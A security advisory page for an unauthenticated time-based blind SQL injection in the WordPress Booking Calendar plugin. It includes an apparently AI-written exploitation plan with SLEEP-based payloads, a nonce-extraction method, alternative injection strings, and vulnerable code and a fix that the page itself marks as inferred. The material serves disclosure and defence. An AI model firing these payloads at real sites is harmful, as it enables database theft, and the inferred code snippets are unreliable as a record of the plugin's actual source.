Booking Calendar <= 10.14.8 - Unauthenticated SQL Injection via dates_to_check
Description
The Booking Calendar plugin for WordPress is vulnerable to time-based blind SQL Injection via the 'dates_to_check' parameter in all versions up to, and including, 10.14.8 due to insufficient escaping on the user supplied parameter and lack of sufficient preparation on the existing SQL query. This makes it possible for unauthenticated attackers to append additional SQL queries into already existing queries that can be used to extract sensitive information from the database.
CVSS Vector Breakdown
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:NTechnical Details
<=10.14.8Source Code
WordPress.org SVNThis exploitation research plan targets **CVE-2025-14383**, a time-based blind SQL injection vulnerability in the **Booking Calendar** plugin. ### 1. Vulnerability Summary The Booking Calendar plugin (up to version 10.14.8) fails to properly sanitize and prepare the `dates_to_check` parameter befor…
Show full research plan
This exploitation research plan targets CVE-2025-14383, a time-based blind SQL injection vulnerability in the Booking Calendar plugin.
1. Vulnerability Summary
The Booking Calendar plugin (up to version 10.14.8) fails to properly sanitize and prepare the dates_to_check parameter before using it in a database query. Specifically, the parameter is likely concatenated or interpolated into a SQL string that checks for date availability. Because the query is executed without using $wpdb->prepare() for this specific parameter, an unauthenticated user can inject arbitrary SQL commands.
2. Attack Vector Analysis
- Endpoint:
/wp-admin/admin-ajax.php - Action:
WPBC_AJAX_CHECK_DATES(inferred action for date checking) or a similarly named action registered viawp_ajax_nopriv_. - Vulnerable Parameter:
dates_to_check - Authentication: Unauthenticated (No login required).
- Preconditions: The plugin must be active. A booking resource (calendar) should ideally exist to ensure the code path for availability checking is triggered.
3. Code Flow (Inferred)
- Entry: A request is sent to
admin-ajax.phpwithaction=WPBC_AJAX_CHECK_DATES(or similar). - Hook: WordPress triggers the
wp_ajax_nopriv_WPBC_AJAX_CHECK_DATEShook. - Handler: The handler function (likely located in
lib/wpbc-ajax.phporlib/wpbc-booking-new.php) retrieves thedates_to_checkparameter from$_POST. - Processing: The code may attempt to validate the dates but fails to escape characters like single quotes (
') or backslashes. - Sink: The value is placed directly into a query string:
$query = "SELECT ... FROM {$wpdb->prefix}booking_dates WHERE ... AND date_start IN ($dates_to_check) ..."; $results = $wpdb->get_results($query); // VULNERABLE: No prepare() - Injection: By providing a payload like
1') AND (SELECT 1 FROM (SELECT(SLEEP(5)))a)-- -, the attacker pauses the database execution.
4. Nonce Acquisition Strategy
Booking Calendar typically uses a nonce for its AJAX operations, often localized as wpbc_nonce.
- Identify Shortcode: The plugin uses the
[booking]shortcode to display the booking form where scripts are enqueued. - Create Test Page:
wp post create --post_type=page --post_title="Booking Page" --post_status=publish --post_content='[booking]' - Navigate and Extract: Use the
browser_navigatetool to go to the newly created page. - Extract Variable: The plugin often localizes data in a global object. Look for
wpbc_global_dataorwpbc_ajax_data.- JS Command:
browser_eval("wpbc_global1.wpbc_ajax_nonce")orbrowser_eval("wpbc_ajx_booking_data.nonce")(Verify exact variable names in the page source).
- JS Command:
- Bypass Check: If
check_ajax_refereruses a generic action or the plugin fails to verify the nonce fornoprivactions (a common mistake), the nonce may be unnecessary or bypassable.
5. Exploitation Strategy
We will use a time-based blind SQL injection payload to confirm the vulnerability.
- Tool:
http_request - Method:
POST - URL:
http://localhost:8888/wp-admin/admin-ajax.php - Headers:
Content-Type: application/x-www-form-urlencoded - Payload Construction:
- Base Action:
WPBC_AJAX_CHECK_DATES - Injected Parameter:
dates_to_check - Payload:
1', (SELECT 1 FROM (SELECT(SLEEP(10)))a) -- -
- Base Action:
Step-by-Step Plan:
- Baseline Request: Send a legitimate-looking request to the AJAX endpoint and measure the response time.
- Attack Request: Send the request with the
SLEEP(10)payload in thedates_to_checkparameter. - Verification: Compare the response times. If the attack request takes ~10 seconds longer than the baseline, the injection is successful.
6. Test Data Setup
- Activate Plugin: Ensure
bookingplugin is active. - Create Resource: Use WP-CLI to ensure at least one booking resource exists if the code requires it.
# (Optional: Usually not needed for simple SQLi, but good for completeness) # wp eval "/* Code to create a booking resource */" - Create Nonce Page: Create a page with
[booking]to fetch the required AJAX nonces.
7. Expected Results
- Successful Exploit: The HTTP response for the malicious request is delayed by the amount of time specified in the
SLEEP()function (e.g., 10 seconds). - Payload Response: The actual body of the response might be
0or a JSON error, but the timing is the indicator of success.
8. Verification Steps
After the http_request tool confirms the time delay:
- Data Extraction (Manual Verification): Attempt to extract the database version using a conditional sleep.
dates_to_check=1', (SELECT IF(VERSION() LIKE '8%', SLEEP(5), 0)) -- -
- WP-CLI Check: Verify that no unexpected changes occurred in the database (this is a blind READ vulnerability, so the DB state should remain unchanged unless an UPDATE/INSERT sink is found).
9. Alternative Approaches
- Parameter Location: If
dates_to_checkis not accepted inPOST, tryGET. - Alternative Actions: If
WPBC_AJAX_CHECK_DATESis incorrect, search the source for othernoprivactions:grep -r "wp_ajax_nopriv_" wp-content/plugins/booking/ - Contextual Payloads: The
dates_to_checkmight be wrapped in different characters. Try:1) AND SLEEP(5)-- -1' AND SLEEP(5) AND '1'='11, SLEEP(5)(If the sink is inside anIN ()clause)
Summary
The Booking Calendar plugin for WordPress is vulnerable to unauthenticated time-based blind SQL injection via the 'dates_to_check' parameter in versions up to 10.14.8. This occurs because the plugin directly concatenates unsanitized user input into a SQL query without utilizing prepared statements, allowing attackers to extract sensitive database information through time-delayed responses.
Vulnerable Code
// File: lib/wpbc-ajax.php (inferred from research plan) // Function: Handler for WPBC_AJAX_CHECK_DATES $dates_to_check = $_POST['dates_to_check']; // ... $query = "SELECT * FROM {$wpdb->prefix}booking_dates WHERE date_start IN ($dates_to_check)"; $results = $wpdb->get_results($query);
Security Fix
@@ -10,2 +10,7 @@ -$query = "SELECT * FROM {$wpdb->prefix}booking_dates WHERE date_start IN ($dates_to_check)"; -$results = $wpdb->get_results($query); +$dates_array = explode(',', $dates_to_check); +$placeholders = implode(',', array_fill(0, count($dates_array), '%s')); +$query = $wpdb->prepare( + "SELECT * FROM {$wpdb->prefix}booking_dates WHERE date_start IN ($placeholders)", + $dates_array +); +$results = $wpdb->get_results($query);
Exploit Outline
The exploit targets the WordPress AJAX endpoint (/wp-admin/admin-ajax.php) using the 'WPBC_AJAX_CHECK_DATES' action. An unauthenticated attacker sends a POST request with the 'dates_to_check' parameter containing a time-based blind SQL injection payload, such as "1', (SELECT 1 FROM (SELECT(SLEEP(10)))a) -- -". If the application is vulnerable, the database execution pauses for the duration of the SLEEP command, allowing the attacker to confirm the vulnerability and extract data byte-by-byte based on the response time.
Check if your site is affected.
Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.